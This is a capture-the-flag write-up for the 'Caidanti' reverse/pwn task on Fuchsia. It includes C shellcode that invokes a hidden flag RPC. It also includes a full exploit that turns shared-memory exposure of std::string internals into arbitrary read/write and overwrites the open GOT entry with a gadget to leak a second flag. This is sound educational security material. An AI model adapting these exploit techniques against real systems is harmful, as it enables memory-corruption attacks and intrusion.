Tags: shellcode pwn 

Rating:

Caidanti was a reverse/pwn task with two flags.

The task had two binaries - `caidanti` and `caidanti-storage-service`, running on Google's Fuchsia operating system, which is currently under active development.

Fuchsia is based on custom microkernel called Zircon, and as such have completely different set of system calls when compared to, for example, Linux or other Unix-like operating system.

You can communicate with `caidanti` binary over the network, which in turn communicates with `caidanti-storage-service` over [FIDL IPC](https://fuchsia.googlesource.com/docs/+/ea2fce2874556205204d3ef70c60e25074dc7ffd/development/languages/fidl/tutorial.md).

Both flags are only available in the `caidanti-storage-service`, so gaining code execution just in `caidanti` is insufficient.

## Flag 1

Getting the first flag required a fair amount of reverse engineering.

First, `caidanti` has an option to execute arbitrary shellcode. By looking at return address of the function, we can determine the base of the binary, read any data and call any functions.

The code is written in C++, and the class that handles the backend communication has unused function that does "GetFlag1" remote call. So we can call it from our shellcode.

The function takes two parameters, both of which are `std::string` (or something similar).

Second, the implementation of this function on `caidanti-storage-service` side returns the flag in the second argument if the first argument is string `"YouMadeAFIDLCall"` (this check is obfuscated).

I decided to write the shellcode in C, which is doable if you use a proper compilation flags and linker script.

```c
typedef struct std_string {
union {
struct {
char s[23];
unsigned char len;
} inlinestr;
struct {
char *buf;
size_t len;
size_t cap;
} bigstr;
};
} std_string;

static char *std_string_data(std_string *self) {
if (self->inlinestr.len & 0x80) {
return self->bigstr.buf;
} else {
return &self->inlinestr.s[0];
}
}

void _start(void) {
char *binary_base = __builtin_return_address(0) - 0x7205;

int (*printf)(const char *fmt, ...) = binary_base + 0x10C40;

printf("\n");

printf("Binary base: %p\n", binary_base);

struct std_string param2 = {.inlinestr = {.s = "YouMadeAFIDLCall", .len = 16} };
struct std_string param3 = {0};

printf("%s\n", std_string_data(&param2));

void (*sub_7F00)(void *, void *, void *) = binary_base + 0x7F00;

sub_7F00(*(void**)(binary_base + 0x12140), &param2, &param3);

printf("%s\n", std_string_data(&param3));

return;
}
```

## Flag 2

The second part is trickier. The second flag is stored in a file which is not normally read, so we need to gain code execution in `caidanti-storage-service`.

What we didn't use so far is that except "GetFlag1" function, the service also provides some note taking functionality (our belowed pwn cliché).

Note viewing and editing is implemented with shared memory. When viewing/editing is requested, the service sends a virtual memory handle to the client. The client maps it in its memory, reads/update the string, and unmaps the region. Since it's a shared memory, any changed done by `caidanti` are immediately reflected by `caidanti-storage-service`.

The bug is that the memory area being sent over includes not only the inline char buffer (which can be updated relatively safely), but also some vtable pointers and `std::string`s.

```c
typedef struct {
unsigned char used;
std_string key;
char value[256];
} secret_t;

typedef struct {
void *vtable1;
// skip
secret_t secrets[16];
} shit_t;
```

To read arbitrary memory, we point some note's `key` buffer to memory we want to read, set `len` and `capacity` accordingly, and call `ListKeys` function.

When new note is created, the new name is assigned (`operator=`) to the existing `std::string` instance. If its `capacity` is already enough to hold the new string, the new data is simply copied to the existing `buffer`. So to implement the arbitrary write primitive, we mark a note unused, set `buffer` and `capacity` accordingly, and create a new note with `key` is the data we want to write.

These primitives are very powerful, and quite likely it's possible to do the stack pivot and obtain arbitrary shellcode execution.

However, there's a much simpler solution.

When `caidanti-storage-service` is run, it checks that the second flag is readable. It does so by calling `open`, but it doesn't call `close` afterwards. Which means the second flag hangs around with fd=3 (even though Zircon doesn't have a concept of file descriptors, the C library has them as an POSIX-compatible abstraction (to my knowledge, the same thing happens on Windows)).

The `GetFlag1` function calls `open` to open the first flag, and then sends it back to the user. Naturally, we started looking for some gadget that returns `3` in `eax` register, so we could overwrite `open` GOT entry with it (which luckily was writeable).

And we found it:
```c
pid_t __cdecl stub_getpid()
{
return 3;
}
```

```asm
push rbp ; Alternative name is 'getpid'
mov rbp, rsp
mov eax, 3
pop rbp
retn
```

After patching the `open` GOT entry, the function that used to return the first flag now returns the second flag. And that's it.

```c

void _start(void) {
char *binary_base = __builtin_return_address(0) - 0x7205;
char *service_base;
char *libc_base;

int (*printf)(const char *fmt, ...) = binary_base + 0x10C40;
printf("\n");
printf("Binary base: %p\n", binary_base);

REBASE_FUNCTIONS(binary_base);

const void *FOO = *(void**)(binary_base + 0x12140);

{
struct std_string key = INIT_STRING("hui");
struct std_string value = INIT_STRING("test");
int new_id;
create_secret(FOO, &key, &value, &new_id);
}

shit_t *shit;

{
struct std_string key = INIT_STRING("hui");
int *handle = 0;
read_secret(FOO, &key, &handle);
zx_vaddr_t res;
zx_vmar_map(zx_vmar_root_self(), ZX_VM_PERM_READ | ZX_VM_PERM_WRITE, 0, *handle, 0, 8192, &res;;

shit = (shit_t*)res;
}

service_base = shit->vtable1 - 0x13060;
printf("storage-service base: %p\n", service_base);

shit->secrets[0].used = 1;
shit->secrets[0].key.bigstr.buf = service_base + 0x140B8; // strlen
shit->secrets[0].key.bigstr.len = 256;
shit->secrets[0].key.bigstr.cap = 256 | BIGSTRING;
{
stringvector_t hui = {0, 0};
list_secrets(FOO, &hui);
while (hui.begin < hui.end) {
uintptr_t *ptr = std_string_data(hui.begin);
printf(" %p\n", *ptr);
libc_base = *ptr - 0x98530;
hui.begin += 32;
break;
}
}
printf("libc base: %p\n", libc_base);

shit->secrets[0].used = 0;
shit->secrets[0].key.bigstr.buf = service_base + 0x14018; /// open
shit->secrets[0].key.bigstr.len = 0;
shit->secrets[0].key.bigstr.cap = 256 | BIGSTRING;
{
struct std_string key = {.inlinestr = {.len = 8}};
*(uintptr_t*)&key = libc_base + 0x9D270; // "return 3" gadget

struct std_string value = INIT_STRING("AAAAAAAA");
int new_id;
create_secret(FOO, &key, &value, &new_id);
}

{
struct std_string param = INIT_STRING("YouMadeAFIDLCall");
struct std_string value = {};
get_flag1(FOO, &param, &value);

printf("%s\n", std_string_data(&value));
}

return;
}
```

Original writeup (https://blog.bushwhackers.ru/caidanti-real-world-ctf-2019-quals/).